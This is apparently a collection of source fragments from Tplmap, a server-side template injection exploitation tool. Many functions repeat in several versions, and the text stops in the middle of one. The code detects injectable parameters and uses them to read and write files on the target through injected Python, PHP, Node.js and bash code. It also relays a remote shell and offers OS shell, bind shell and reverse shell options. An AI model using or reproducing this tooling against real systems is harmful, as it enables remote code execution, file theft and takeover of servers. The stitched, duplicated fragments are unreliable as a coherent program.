def _detect_dust(self): # Print what it's going to be tested log.info('%s plugin is testing rendering' % (self.plugin, )) for prefix, suffix in self._generate_contexts(): payload = '{!c!}' header_rand = rand.randint_n(10) header = str(header_rand) trailer_rand = rand.randint_n(10) trailer = str(trailer_rand) if '' == self.render(code=payload, header=header, trailer=trailer, header_rand=header_rand, trailer_rand=trailer_rand, prefix=prefix, suffix=suffix): self.set('header', '%s') self.set('trailer', '%s') self.set('prefix', prefix) self.set('suffix', suffix) self.set('engine', self.plugin.lower()) self.set('language', self.language) return
def _detect_blind(self): action = self.actions.get('blind', {}) payload_true = action.get('bool_true') payload_false = action.get('bool_false') call_name = action.get('call', 'inject') # Skip if something is missing or call function is not set if not action or not payload_true or not payload_false or not call_name or not hasattr( self, call_name): return # Print what it's going to be tested log.info('%s plugin is testing blind injection' % (self.plugin)) for prefix, suffix in self._generate_contexts(): # Conduct a true-false test if getattr(self, call_name)( code=payload_true, prefix=prefix, suffix=suffix, blind=True ) and not getattr(self, call_name)( code=payload_false, prefix=prefix, suffix=suffix, blind=True): # We can assume here blind is true self.set('blind', True) self.set('prefix', prefix) self.set('suffix', suffix) return
def read(self, remote_path): action = self.actions.get('read', {}) payload = action.get('read') call_name = action.get('call', 'render') # Skip if something is missing or call function is not set if not action or not payload or not call_name or not hasattr(self, call_name): return # Get remote file md5 md5_remote = self.md5(remote_path) if not md5_remote: log.warn('Error getting remote file md5, check presence and permission') return execution_code = payload % ({ 'path' : remote_path }) data_b64encoded = getattr(self, call_name)( code = execution_code, ) data = base64.b64decode(data_b64encoded) if not md5(data) == md5_remote: log.warn('Remote file md5 mismatch, check manually') else: log.info('File downloaded correctly') return data
def _print_injection_summary(channel): prefix = channel.data.get('prefix', '').replace('\n', '\\n') render_tag = channel.data.get('render_tag').replace('\n', '\\n') % ({'payload' : '' }) suffix = channel.data.get('suffix', '').replace('\n', '\\n') log.info("""Tplmap identified the following injection point: Engine: %(engine)s Template: %(prefix)s%(render_tag)s%(suffix)s Context: %(context)s OS: %(os)s Capabilities: Code evaluation: %(eval)s OS command execution: %(exec)s File write: %(write)s File read: %(read)s """ % ({ 'prefix': prefix, 'render_tag': render_tag, 'suffix': suffix, 'context': 'text' if (not prefix and not suffix) else 'code', 'engine': channel.data.get('engine').capitalize(), 'os': channel.data.get('os', 'undetected'), 'eval': 'no' if not channel.data.get('eval') else 'yes, %s code' % (channel.data.get('eval')), 'exec': 'no' if not channel.data.get('exec') else 'yes', 'write': 'no' if not channel.data.get('write') else 'yes', 'read': 'no' if not channel.data.get('read') else 'yes', }))
def _detect_dust(self): # Print what it's going to be tested log.info('%s plugin is testing rendering' % ( self.plugin, ) ) for prefix, suffix in self._generate_contexts(): payload = 'AA{!c!}AA' header_rand = rand.randint_n(10) header = str(header_rand) trailer_rand = rand.randint_n(10) trailer = str(trailer_rand) if 'AAAA' == self.render( code = payload, header = header, trailer = trailer, header_rand = header_rand, trailer_rand = trailer_rand, prefix = prefix, suffix = suffix ): self.set('header', '%s') self.set('trailer', '%s') self.set('prefix', prefix) self.set('suffix', suffix) self.set('engine', self.plugin.lower()) self.set('language', self.language) return
def read(self, remote_path): action = self.actions.get('read', {}) payload = action.get('read') call_name = action.get('call', 'render') # Skip if something is missing or call function is not set if not action or not payload or not call_name or not hasattr( self, call_name): return # Get remote file md5 md5_remote = self.md5(remote_path) if not md5_remote: log.warn( 'Error getting remote file md5, check presence and permission') return execution_code = payload % ({'path': remote_path}) data_b64encoded = getattr(self, call_name)(code=execution_code, ) data = base64.b64decode(data_b64encoded) if not md5(data) == md5_remote: log.warn('Remote file md5 mismatch, check manually') else: log.info('File downloaded correctly') return data
def detect_template_injection(channel, plugins=plugins): # Loop manually the channel.injs modifying channel's inj_idx if sys.version_info.major >= 2: wrappedRange = range else: wrappedRange = xrange for i in wrappedRange(len(channel.injs)): log.info("Testing if %s parameter '%s' is injectable" % (channel.injs[channel.inj_idx]['field'], channel.injs[channel.inj_idx]['param'])) current_plugin = None # Iterate all the available plugins until # the first template engine is detected. for plugin in plugins: current_plugin = plugin(channel) # Skip if user specify a specific --engine if channel.args.get('engine') and channel.args.get( 'engine').lower() != current_plugin.plugin.lower(): continue current_plugin.detect() if channel.data.get('engine'): return current_plugin channel.inj_idx += 1
def forward_data(self): log.info("Incoming connection accepted") self.socket.setblocking(0) while(1): read_ready, write_ready, in_error = select.select( [self.socket, sys.stdin], [], [self.socket, sys.stdin]) try: buffer = self.socket.recv(100) while(buffer != ''): self.socket_state = True sys.stdout.write(buffer) sys.stdout.flush() buffer = self.socket.recv(100) if(buffer == ''): return except socket.error: pass while(1): r, w, e = select.select([sys.stdin], [], [], 0) if(len(r) == 0): break c = sys.stdin.read(1) if(c == ''): return if(self.socket.sendall(c) != None): return
def detect_template_injection(channel, plugins = plugins): # Loop manually the channel.injs modifying channel's inj_idx for i in xrange(len(channel.injs)): log.info("Testing if %s parameter '%s' is injectable" % ( channel.injs[channel.inj_idx]['field'], channel.injs[channel.inj_idx]['param'] ) ) current_plugin = None # Iterate all the available plugins until # the first template engine is detected. for plugin in plugins: current_plugin = plugin(channel) # Skip if user specify a specific --engine if channel.args.get('engine') and channel.args.get('engine').lower() != current_plugin.plugin.lower(): continue current_plugin.detect() if channel.data.get('engine'): return current_plugin channel.inj_idx += 1
def _print_injection_summary(channel): prefix = channel.data.get('prefix', '').replace('\n', '\\n') render = channel.data.get('render', '%(code)s').replace('\n', '\\n') % ({'code' : '*' }) suffix = channel.data.get('suffix', '').replace('\n', '\\n') if channel.data.get('evaluate_blind'): evaluation = 'ok, %s code (blind)' % (channel.data.get('language')) elif channel.data.get('evaluate'): evaluation = 'ok, %s code' % (channel.data.get('language')) else: evaluation = 'no' if channel.data.get('execute_blind'): execution = 'ok (blind)' elif channel.data.get('execute'): execution = 'ok' else: execution = 'no' if channel.data.get('write'): if channel.data.get('blind'): writing = 'ok (blind)' else: writing = 'ok' else: writing = 'no' log.info("""Tplmap identified the following injection point: %(method)s parameter: %(parameter)s Engine: %(engine)s Injection: %(prefix)s%(render)s%(suffix)s Context: %(context)s OS: %(os)s Technique: %(injtype)s Capabilities: Shell command execution: %(execute)s Bind and reverse shell: %(bind_shell)s File write: %(write)s File read: %(read)s Code evaluation: %(evaluate)s """ % ({ 'prefix': prefix, 'render': render, 'suffix': suffix, 'context': 'text' if (not prefix and not suffix) else 'code', 'engine': channel.data.get('engine').capitalize(), 'os': channel.data.get('os', 'undetected'), 'injtype' : 'blind' if channel.data.get('blind') else 'render', 'evaluate': evaluation, 'execute': execution, 'write': writing, 'read': 'no' if not channel.data.get('read') else 'ok', 'bind_shell': 'no' if not channel.data.get('bind_shell') else 'ok', 'method': channel.injs[channel.inj_idx]['field'], 'parameter': channel.injs[channel.inj_idx]['param'] }))
def _parse_get(self): params_dict_list = urlparse.parse_qs(urlparse.urlsplit(self.url).query) for param, value_list in params_dict_list.items(): self.get_params[param] = value_list if any(x for x in value_list if '*' in x): self.get_placeholders.append(param) log.info('Found placeholder in GET parameter \'%s\'' % param)
def detect(self): # Start detection self._detect_render() # If render is not set, check unreliable render if self.get('render') == None: self._detect_unreliable_render() # Else, print and execute rendered_detected() else: # If here, the rendering is confirmed prefix = self.get('prefix', '') render = self.get('render', '%(code)s') % ({'code': '*'}) suffix = self.get('suffix', '') log.info('%s plugin has confirmed injection with tag \'%s%s%s\'' % ( self.plugin, repr(prefix).strip("'"), repr(render).strip("'"), repr(suffix).strip("'"), )) # Clean up any previous unreliable render data self.delete('unreliable_render') self.delete('unreliable') # Set basic info self.set('engine', self.plugin.lower()) self.set('language', self.language) # Set the environment self.rendered_detected() # Manage blind injection only if render detection has failed if not self.get('engine'): self._detect_blind() if self.get('blind'): log.info('%s plugin has confirmed blind injection' % (self.plugin)) # Clean up any previous unreliable render data self.delete('unreliable_render') self.delete('unreliable') # Set basic info self.set('engine', self.plugin.lower()) self.set('language', self.language) # Set the environment self.blind_detected()
def inject(self, code, **kwargs): prefix = kwargs.get('prefix', self.get('prefix', '')) suffix = kwargs.get('suffix', self.get('suffix', '')) blind = kwargs.get('blind', False) injection = prefix + code + suffix if self.channel.args.get('verbose'): log.info('\n\033[93m[+] {}\033[00m\n'.format(injection)) log.debug('[request %s] %s' % (self.plugin, repr(self.channel.url))) # If the request is blind if blind: expected_delay = self._get_expected_delay() start = int(time.time()) self.channel.req(injection) end = int(time.time()) delta = end - start result = delta >= expected_delay log.debug( '[blind %s] code above took %s (%s-%s). %s is the threshold, returning %s' % (self.plugin, str(delta), str(end), str(start), str(expected_delay), str(result))) self._inject_verbose = { 'result': result, 'payload': injection, 'expected_delay': expected_delay, 'start': start, 'end': end, } return result else: start = int(time.time()) result = self.channel.req(injection) end = int(time.time()) # Append the execution time to a buffer delta = end - start self.render_req_tm.append(delta) return result.strip() if result else result
def _print_injection_summary(channel): prefix = channel.data.get('prefix', '').replace('\n', '\\n') render = channel.data.get('render', '%(code)s').replace('\n', '\\n') % ({'code' : '*' }) suffix = channel.data.get('suffix', '').replace('\n', '\\n') idiom = channel.data.get('evaluate') if idiom: evaluation = 'yes, %s code' % (idiom) if channel.data.get('evaluate_blind'): evaluation += ' (blind)' else: evaluation = 'no' # Handle execute_blind first since even if it's blind, execute is set as well # TODO: fix this? less ambiguity if channel.data.get('execute_blind'): execution = 'yes (blind)' elif channel.data.get('execute'): execution = 'yes' else: execution = 'no' log.info("""Tplmap identified the following injection point: Engine: %(engine)s Injection: %(prefix)s%(render)s%(suffix)s Context: %(context)s OS: %(os)s Technique: %(injtype)s Capabilities: Code evaluation: %(evaluate)s OS command execution: %(execute)s File write: %(write)s File read: %(read)s """ % ({ 'prefix': prefix, 'render': render, 'suffix': suffix, 'context': 'text' if (not prefix and not suffix) else 'code', 'engine': channel.data.get('engine').capitalize(), 'os': channel.data.get('os', 'undetected'), 'injtype' : 'blind' if channel.data.get('blind') else 'render', 'evaluate': evaluation, 'execute': execution, 'write': 'no' if not channel.data.get('write') else 'yes', 'read': 'no' if not channel.data.get('read') else 'yes', }))
def _detect_render(self): render_action = self.actions.get('render') if not render_action: return # Print what it's going to be tested log.info('%s plugin is testing rendering with tag %s' % ( self.plugin, repr(render_action.get('render') % ({ 'code': '*' })), )) for prefix, suffix in self._generate_contexts(): # Prepare base operation to be evalued server-side randA = rand.randint_n(1) randB = rand.randint_n(1) expected = str(randA * randB) payload = render_action.get('render') % ({ 'code': '%s*%s' % (randA, randB) }) header_rand = rand.randint_n(10) header = render_action.get('header') % ({'header': header_rand}) trailer_rand = rand.randint_n(10) trailer = render_action.get('trailer') % ({ 'trailer': trailer_rand }) # First probe with payload wrapped by header and trailer, no suffex or prefix if expected == self.render(code=payload, header=header, trailer=trailer, header_rand=header_rand, trailer_rand=trailer_rand, prefix=prefix, suffix=suffix): self.set('render', render_action.get('render')) self.set('header', render_action.get('header')) self.set('trailer', render_action.get('trailer')) self.set('prefix', prefix) self.set('suffix', suffix) return
def read(self, remote_path): # Get remote file md5 md5_remote = self._md5(remote_path) if not md5_remote: log.warn('Error getting remote file md5, check presence and permission') return data_b64encoded = self.evaluate("""__import__("base64").b64encode(open("%s", "rb").read())""" % remote_path) data = base64.b64decode(data_b64encoded) if not md5(data) == md5_remote: log.warn('Remote file md5 mismatch, check manually') else: log.info('File downloaded correctly') return data
def read(self, remote_path): # Get remote file md5 md5_remote = self._md5(remote_path) if not md5_remote: log.warn('Error getting remote file md5, check presence and permission') return data_b64encoded = self.evaluate("""print(base64_encode(file_get_contents("%s")));""" % remote_path) data = base64decode(data_b64encoded) if not md5(data) == md5_remote: log.warn('Remote file md5 mismatch, check manually') else: log.info('File downloaded correctly') return data
def read(self, remote_path): # Get remote file md5 md5_remote = self._md5(remote_path) if not md5_remote: log.warn('Error getting remote file md5, check presence and permission') return data_b64encoded = self.evaluate("""__import__("base64").b64encode(open("%s", "rb").read())""" % remote_path) data = base64decode(data_b64encoded) if not md5(data) == md5_remote: log.warn('Remote file md5 mismatch, check manually') else: log.info('File downloaded correctly') return data
def _detect_blind(self): action = self.actions.get('blind', {}) payload_true = action.get('test_bool_true') payload_false = action.get('test_bool_false') call_name = action.get('call', 'inject') # Skip if something is missing or call function is not set if not action or not payload_true or not payload_false or not call_name or not hasattr(self, call_name): return # Print what it's going to be tested log.info('%s plugin is testing blind injection' % ( self.plugin ) ) for prefix, suffix in self._generate_contexts(): # Conduct a true-false test if not getattr(self, call_name)( code = payload_true, prefix = prefix, suffix = suffix, blind = True ): continue detail = {'blind_true':self._inject_verbose} if getattr(self, call_name)( code = payload_false, prefix = prefix, suffix = suffix, blind = True ): continue detail['blind_false'] = self._inject_verbose detail['average'] = sum(self.render_req_tm)/len(self.render_req_tm) # We can assume here blind is true self.set('blind', True) self.set('prefix', prefix) self.set('suffix', suffix) self.channel.detected('blind', detail) return
def _print_injection_summary(channel): prefix = channel.data.get('prefix', '').replace('\n', '\\n') render_tag = channel.data.get('render_tag').replace('\n', '\\n') % ({ 'payload': '*' }) suffix = channel.data.get('suffix', '').replace('\n', '\\n') log.info("""Tplmap identified the following injection point: Engine: %(engine)s Template: %(prefix)s%(render_tag)s%(suffix)s Context: %(context)s OS: %(os)s Capabilities: Code evaluation: %(eval)s OS command execution: %(exec)s File write: %(write)s File read: %(read)s """ % ({ 'prefix': prefix, 'render_tag': render_tag, 'suffix': suffix, 'context': 'text' if (not prefix and not suffix) else 'code', 'engine': channel.data.get('engine').capitalize(), 'os': channel.data.get('os', 'undetected'), 'eval': 'no' if not channel.data.get('eval') else 'yes, %s code' % (channel.data.get('eval')), 'exec': 'no' if not channel.data.get('exec') else 'yes', 'write': 'no' if not channel.data.get('write') else 'yes', 'read': 'no' if not channel.data.get('read') else 'yes', }))
def _detect_unreliable_render(self): render_action = self.actions.get('render') if not render_action: return # Print what it's going to be tested log.debug('%s plugin is testing unreliable rendering on text context' % (self.plugin)) # Prepare base operation to be evalued server-side randA = rand.randint_n(1) randB = rand.randint_n(1) expected = str(randA * randB) payload = render_action.get('render') % ({ 'code': '%s*%s' % (randA, randB) }) # Probe with payload wrapped by header and trailer, no suffex or prefix. # Test if contained, since the page contains other garbage if expected in self.render(code=payload, header='', trailer='', header_rand=None, trailer_rand=None, prefix='', suffix=''): # Print if the first found unreliable renode if not self.get('unreliable_render'): log.info( '%s plugin has detected unreliable rendering with tag %s, skipping' % (self.plugin, repr(render_action.get('render') % ({ 'code': '*' })))) self.set('unreliable_render', render_action.get('render')) self.set('unreliable', self.plugin) return
def _generate_contexts(self): # Loop all the contexts for ctx in self.contexts: # If --force-level skip any other level force_level = self.channel.args.get('force_level') if force_level and force_level[0] != None and ctx.get( 'level') != int(force_level[0]): continue # Skip any context which is above the required level if not force_level and ctx.get('level') > self.channel.args.get( 'level'): continue # The suffix is fixed suffix = ctx.get('suffix', '') % () # If the context has no closures, generate one closure with a zero-length string if ctx.get('closures'): closures = self._generate_closures(ctx) log.info( '%s plugin is testing %s*%s code context escape with %i variations%s' % (self.plugin, repr( ctx.get('prefix', '%(closure)s') % ({ 'closure': '' })).strip("'"), repr(suffix).strip("'"), len(closures), ' (level %i)' % (ctx.get('level', 1)) if self.get('level') else '')) else: closures = [''] for closure in closures: # Format the prefix with closure prefix = ctx.get('prefix', '%(closure)s') % ({ 'closure': closure }) yield prefix, suffix
def _detect_render(self): render_action = self.actions.get('render') if not render_action: return # Print what it's going to be tested log.info('%s plugin is testing rendering with tag %s' % ( self.plugin, repr(render_action.get('render') % ({'code' : '*' })), ) ) for prefix, suffix in self._generate_contexts(): # Prepare base operation to be evalued server-side randA = rand.randint_n(1) randB = rand.randint_n(1) expected = str(randA*randB) payload = render_action.get('render') % ({ 'code': '%s*%s' % (randA, randB) }) header_rand = rand.randint_n(10) header = render_action.get('header') % ({ 'header' : header_rand }) trailer_rand = rand.randint_n(10) trailer = render_action.get('trailer') % ({ 'trailer' : trailer_rand }) # First probe with payload wrapped by header and trailer, no suffex or prefix if expected == self.render( code = payload, header = header, trailer = trailer, header_rand = header_rand, trailer_rand = trailer_rand, prefix = prefix, suffix = suffix ): self.set('render', render_action.get('render')) self.set('header', render_action.get('header')) self.set('trailer', render_action.get('trailer')) self.set('prefix', prefix) self.set('suffix', suffix) return
def write(self, data, remote_path): # Check existance and overwrite with --force-overwrite if self._md5(remote_path): if not self.channel.args.get('force_overwrite'): log.warn('Remote path already exists, use --force-overwrite for overwrite') return else: self.evaluate("""open("%s", 'w').close()""" % remote_path) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): chunk_b64 = base64.urlsafe_b64encode(chunk) self.evaluate("""open("%s", 'ab+').write(__import__("base64").urlsafe_b64decode('%s'))""" % (remote_path, chunk_b64)) if not md5(data) == self._md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.info('File uploaded correctly')
def read(self, remote_path): # Get remote file md5 md5_remote = self._md5(remote_path) if not md5_remote: log.warn( 'Error getting remote file md5, check presence and permission') return data_b64encoded = self.evaluate( """print(base64_encode(file_get_contents("%s")));""" % remote_path) data = base64.b64decode(data_b64encoded) if not md5(data) == md5_remote: log.warn('Remote file md5 mismatch, check manually') else: log.info('File downloaded correctly') return data
def write(self, data, remote_path): # Check existance and overwrite with --force-overwrite if self._md5(remote_path): if not self.channel.args.get('force_overwrite'): log.warn('Remote path already exists, use --force-overwrite for overwrite') return else: self.execute("bash -c {echo,-n,}>%s" % (remote_path)) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): chunk_b64 = base64encode(chunk) self.execute("bash -c {base64,--decode}<<<%s>>%s" % (chunk_b64, remote_path)) if not md5(data) == self._md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.info('File uploaded correctly')
def read(self, remote_path): # Get remote file md5 md5_remote = self._md5(remote_path) if not md5_remote: log.warn('Error getting remote file md5, check presence and permission') return # Using base64 since self.execute() calling self.inject() strips # the response, corrupting the data data_b64encoded = self.execute('bash -c base64<%s' % remote_path) data = base64decode(data_b64encoded) if not md5(data) == md5_remote: log.warn('Remote file md5 mismatch, check manually') else: log.info('File downloaded correctly') return data
def read(self, remote_path): # Get remote file md5 md5_remote = self._md5(remote_path) if not md5_remote: log.warn('Error getting remote file md5, check presence and permission') return # Use base64 since self.execute() calling self.inject() strips # the response, corrupting the data data_b64encoded = self.inject("""= global.process.mainModule.require('fs').readFileSync('%s').toString('base64')""" % remote_path) data = base64decode(data_b64encoded) if not md5(data) == md5_remote: log.warn('Remote file md5 mismatch, check manually') else: log.info('File downloaded correctly') return data
def read(self, remote_path): # Get remote file md5 md5_remote = self._md5(remote_path) if not md5_remote: log.warn( 'Error getting remote file md5, check presence and permission') return # Using base64 since self.execute() calling self.inject() strips # the response, corrupting the data data_b64encoded = self.execute('bash -c base64<%s' % remote_path) data = base64.b64decode(data_b64encoded) if not md5(data) == md5_remote: log.warn('Remote file md5 mismatch, check manually') else: log.info('File downloaded correctly') return data
def _detect_unreliable_render(self): render_action = self.actions.get('render') if not render_action: return # Print what it's going to be tested log.debug('%s plugin is testing unreliable rendering on text context' % ( self.plugin ) ) # Prepare base operation to be evalued server-side randA = rand.randint_n(1) randB = rand.randint_n(1) expected = str(randA*randB) payload = render_action.get('render') % ({ 'code': '%s*%s' % (randA, randB) }) # Probe with payload wrapped by header and trailer, no suffex or prefix if expected == self.render( code = payload, header = '', trailer = '', header_rand = None, trailer_rand = None, prefix = '', suffix = '' ): self.set('render', render_action.get('render')) # Print if the first found unreliable renode if not self.get('unreliable'): log.info('%s plugin has detected unreliable rendering with tag %s, skipping' % ( self.plugin, repr(self.get('render') % ({'code' : '*' }))) ) self.set('unreliable', self.plugin) return
def _detect_unreliable_render(self): render_action = self.actions.get('render') if not render_action: return # Print what it's going to be tested log.debug('%s plugin is testing unreliable rendering on text context' % ( self.plugin ) ) # Prepare base operation to be evalued server-side expected = render_action.get('test_render_expected') payload = render_action.get('test_render') # Probe with payload wrapped by header and trailer, no suffex or prefix. # Test if contained, since the page contains other garbage if expected in self.render( code = payload, header = '', trailer = '', header_rand = 0, trailer_rand = 0, prefix = '', suffix = '' ): # Print if the first found unreliable renode if not self.get('unreliable_render'): log.info('%s plugin has detected unreliable rendering with tag %s, skipping' % ( self.plugin, repr(render_action.get('render') % ({'code' : '*' }))) ) self.set('unreliable_render', render_action.get('render')) self.set('unreliable', self.plugin) return
def detect(self): # Start detection self._detect_render() # If render is not set, check unreliable render if self.get('render') == None: self._detect_unreliable_render() # Else, print and execute rendered_detected() else: # If here, the rendering is confirmed prefix = self.get('prefix', '') render = self.get('render', '%(code)s') % ({'code' : '*' }) suffix = self.get('suffix', '') log.info('%s plugin has confirmed injection with tag \'%s%s%s\'' % ( self.plugin, repr(prefix).strip("'"), repr(render).strip("'"), repr(suffix).strip("'"), ) ) # Set the environment self.rendered_detected() # Manage blind injection only if render detection has failed if not self.get('engine'): self._detect_blind() if self.get('blind'): log.info('%s plugin has confirmed blind injection' % (self.plugin)) # Set the environment self.blind_detected()
def _detect_blind(self): action = self.actions.get('blind', {}) payload_true = action.get('test_bool_true') payload_false = action.get('test_bool_false') call_name = action.get('call', 'inject') # Skip if something is missing or call function is not set if not action or not payload_true or not payload_false or not call_name or not hasattr( self, call_name): return # Print what it's going to be tested log.info('%s plugin is testing blind injection' % (self.plugin)) for prefix, suffix in self._generate_contexts(): # Conduct a true-false test if not getattr(self, call_name)( code=payload_true, prefix=prefix, suffix=suffix, blind=True): continue detail = {'blind_true': self._inject_verbose} if getattr(self, call_name)(code=payload_false, prefix=prefix, suffix=suffix, blind=True): continue detail['blind_false'] = self._inject_verbose detail['average'] = sum(self.render_req_tm) / len( self.render_req_tm) # We can assume here blind is true self.set('blind', True) self.set('prefix', prefix) self.set('suffix', suffix) self.channel.detected('blind', detail) return
def write(self, data, remote_path): # Check existance and overwrite with --force-overwrite if self._md5(remote_path): if not self.channel.args.get('force_overwrite'): log.warn( 'Remote path already exists, use --force-overwrite for overwrite' ) return else: self.execute("bash -c {echo,-n,}>%s" % (remote_path)) # Upload file in chunks of 500 characters for chunk in chunkit(data, 500): chunk_b64 = base64.urlsafe_b64encode(chunk) self.execute("bash -c {base64,--decode}<<<{tr,/+,_-}<<<%s>>%s" % (chunk_b64, remote_path)) if not md5(data) == self._md5(remote_path): log.warn('Remote file md5 mismatch, check manually') else: log.info('File uploaded correctly')
def detect(self): context_num = len([c for c in self.contexts if (c.get('level') <= self.channel.args.get('level'))]) # Print what it's going to be tested log.info('Testing reflection on %s engine with tag %s%s' % ( self.plugin, self.render_tag.replace('\n', '\\n') % ({'payload' : '*' }), ' and %i variation%s' % (context_num, 's' if context_num > 1 else '') if context_num else '' ) ) # If no weak reflection has been detected so far if not self.get('render_tag'): # Start detection self._detect_context() # Print message if header or trailer are still unset if self.get('header_tag') == None or self.get('trailer_tag') == None: if self.get('render_tag'): log.info('Detected unreliable reflection with tag %s, continuing' % ( self.get('render_tag').replace('\n', '\\n')) % ({'payload' : '*' }) ) # If tags found previously are the same as current plugin, skip context detection if not ( self.get('render_tag') == self.render_tag and self.get('header_tag') == self.header_tag and self.get('trailer_tag') == self.trailer_tag ): self._detect_context() # Exit if header or trailer are still different if not ( self.get('render_tag') == self.render_tag and self.get('header_tag') == self.header_tag and self.get('trailer_tag') == self.trailer_tag ): return prefix = self.get('prefix', '').replace('\n', '\\n') render_tag = self.get('render_tag').replace('\n', '\\n') % ({'payload' : '*' }) suffix = self.get('suffix', '').replace('\n', '\\n') log.info('Confirmed reflection with tag \'%s%s%s\' by %s plugin' % (prefix, render_tag, suffix, self.plugin)) self.detect_engine() # Return if engine is still unset if not self.get('engine'): return self.detect_eval() self.detect_exec() self.detect_write() self.detect_read()
def _generate_contexts(self): # Loop all the contexts for ctx in self.contexts: # If --force-level skip any other level force_level = self.channel.args.get('force_level') if force_level and force_level[0] != None and ctx.get('level') != int(force_level[0]): continue # Skip any context which is above the required level if not force_level and ctx.get('level') > self.channel.args.get('level'): continue # The suffix is fixed suffix = ctx.get('suffix', '') % () # If the context has no closures, generate one closure with a zero-length string if ctx.get('closures'): closures = self._generate_closures(ctx) log.info('%s plugin is testing %s*%s code context escape with %i variations%s' % ( self.plugin, repr(ctx.get('prefix', '%(closure)s') % ( { 'closure' : '' } )).strip("'"), repr(suffix).strip("'"), len(closures), ' (level %i)' % (ctx.get('level', 1)) if self.get('level') else '' ) ) else: closures = [ '' ] for closure in closures: # Format the prefix with closure prefix = ctx.get('prefix', '%(closure)s') % ( { 'closure' : closure } ) yield prefix, suffix
def read(self, remote_path): # Get remote file md5 md5_remote = self._md5(remote_path) if not md5_remote: log.warn( 'Error getting remote file md5, check presence and permission') return # Use base64 since self.execute() calling self.inject() strips # the response, corrupting the data data_b64encoded = self.inject( """= global.process.mainModule.require('fs').readFileSync('%s').toString('base64')""" % remote_path) data = base64.b64decode(data_b64encoded) if not md5(data) == md5_remote: log.warn('Remote file md5 mismatch, check manually') else: log.info('File downloaded correctly') return data
def _detect_blind(self): action = self.actions.get('blind', {}) payload_true = action.get('bool_true') payload_false = action.get('bool_false') call_name = action.get('call', 'inject') # Skip if something is missing or call function is not set if not action or not payload_true or not payload_false or not call_name or not hasattr(self, call_name): return # Print what it's going to be tested log.info('%s plugin is testing blind injection' % ( self.plugin ) ) for prefix, suffix in self._generate_contexts(): # Conduct a true-false test if getattr(self, call_name)( code = payload_true, prefix = prefix, suffix = suffix, blind = True ) and not getattr(self, call_name)( code = payload_false, prefix = prefix, suffix = suffix, blind = True ): # We can assume here blind is true self.set('blind', True) self.set('prefix', prefix) self.set('suffix', suffix) return
def detect(self): context_num = len([c for c in self.contexts if (c.get('level') <= self.channel.args.get('level'))]) # Print what it's going to be tested log.info('%s plugin is testing reflection on text context with tag %s' % ( self.plugin, repr(self.render_fmt % ({'payload' : '*' })).strip("'"), ) ) # Start detection self._detect_context() # Return if render_fmt or header or trailer is not set if self.get('render_fmt') == None or self.get('header_fmt') == None or self.get('trailer_fmt') == None: # If render_fmt is set and it's the first unrealiable detection, handle this as unreliable if not self.get('unreliable') and self.get('render_fmt') != None: self.set('unreliable', self.plugin) log.info('%s plugin has detected unreliable reflection with tag %s, skipping' % ( self.plugin, repr(self.get('render_fmt') % ({'payload' : '*' })).strip("'")) ) return # Here the reflection is confirmed prefix = self.get('prefix', '') render_fmt = self.get('render_fmt', '%(payload)s') % ({'payload' : '*' }) suffix = self.get('suffix', '') log.info('%s plugin has confirmed injection with tag \'%s%s%s\'' % ( self.plugin, repr(prefix).strip("'"), repr(render_fmt).strip("'"), repr(suffix).strip("'"), ) ) self.detect_engine() # Return if engine is still unset if not self.get('engine'): return self.detect_eval() self.detect_exec() self.detect_write() self.detect_read()
def detect(self): self._detect_dust() if self.get('engine'): log.info('%s plugin has confirmed injection' % ( self.plugin) ) # Clean up any previous unreliable render data self.delete('unreliable_render') self.delete('unreliable') # Further exploitation requires if helper, which has # been deprecated in version [email protected] . # Check if helper presence here. rand_A = rand.randstr_n(2) rand_B = rand.randstr_n(2) rand_C = rand.randstr_n(2) expected = rand_A + rand_B + rand_C if expected in self.inject('%s{@if cond="1"}%s{/if}%s' % (rand_A, rand_B, rand_C)): log.info('%s plugin has confirmed the presence of dustjs if helper <= 1.5.0' % ( self.plugin) ) # Blind inj must be checked also with confirmed rendering self._detect_blind() if self.get('blind'): log.info('%s plugin has confirmed blind injection' % (self.plugin)) # Clean up any previous unreliable render data self.delete('unreliable_render') self.delete('unreliable') # Set basic info self.set('engine', self.plugin.lower()) self.set('language', self.language) # Set the environment self.blind_detected()
def check_template_injection(channel): current_plugin = detect_template_injection(channel) # Kill execution if no engine have been found if not channel.data.get('engine'): log.fatal("""Tested parameters appear to be not injectable.""") return # Print injection summary _print_injection_summary(channel) # If actions are not required, prints the advices and exit if not any( f for f, v in channel.args.items() if f in ('os_cmd', 'os_shell', 'upload', 'download', 'tpl_shell', 'tpl_code', 'bind_shell', 'reverse_shell') and v): log.info( """Rerun tplmap providing one of the following options:\n%(execute)s%(execute_blind)s%(bind_shell)s%(reverse_shell)s%(write)s%(read)s""" % ({ 'execute': '\n --os-shell\t\t\t\tRun shell on the target\n --os-cmd\t\t\t\tExecute shell commands' if channel.data.get('execute') and not channel.data.get('execute_blind') else '', 'execute_blind': '\n --os-shell\t\t\t\tRun shell on the target\n --os-cmd\t\t\tExecute shell commands' if channel.data.get('execute_blind') else '', 'bind_shell': '\n --bind-shell PORT\t\t\tConnect to a shell bind to a target port' if channel.data.get('bind_shell') else '', 'reverse_shell': '\n --reverse-shell HOST PORT\tSend a shell back to the attacker\'s port' if channel.data.get('reverse_shell') else '', 'write': '\n --upload LOCAL REMOTE\tUpload files to the server' if channel.data.get('write') else '', 'read': '\n --download REMOTE LOCAL\tDownload remote files' if channel.data.get('read') else '', })) return # Execute operating system commands if channel.args.get('os_cmd') or channel.args.get('os_shell'): # Check the status of command execution capabilities if channel.data.get('execute_blind'): log.info( """Blind injection has been found and command execution will not produce any output.""" ) log.info( """Delay is introduced appending '&& sleep <delay>' to the shell commands. True or False is returned whether it returns successfully or not.""" ) if channel.args.get('os_cmd'): print(current_plugin.execute_blind(channel.args.get('os_cmd'))) elif channel.args.get('os_shell'): log.info('Run commands on the operating system.') Shell(current_plugin.execute_blind, '%s (blind) $ ' % (channel.data.get('os', ''))).cmdloop() elif channel.data.get('execute'): if channel.args.get('os_cmd'): print(current_plugin.execute(channel.args.get('os_cmd'))) elif channel.args.get('os_shell'): log.info('Run commands on the operating system.') Shell(current_plugin.execute, '%s $ ' % (channel.data.get('os', ''))).cmdloop() else: log.error( 'No system command execution capabilities have been detected on the target.' ) # Execute template commands if channel.args.get('tpl_code') or channel.args.get('tpl_shell'): if channel.data.get('engine'): if channel.data.get('blind'): log.info( """Only blind execution has been found. Injected template code will not produce any output.""" 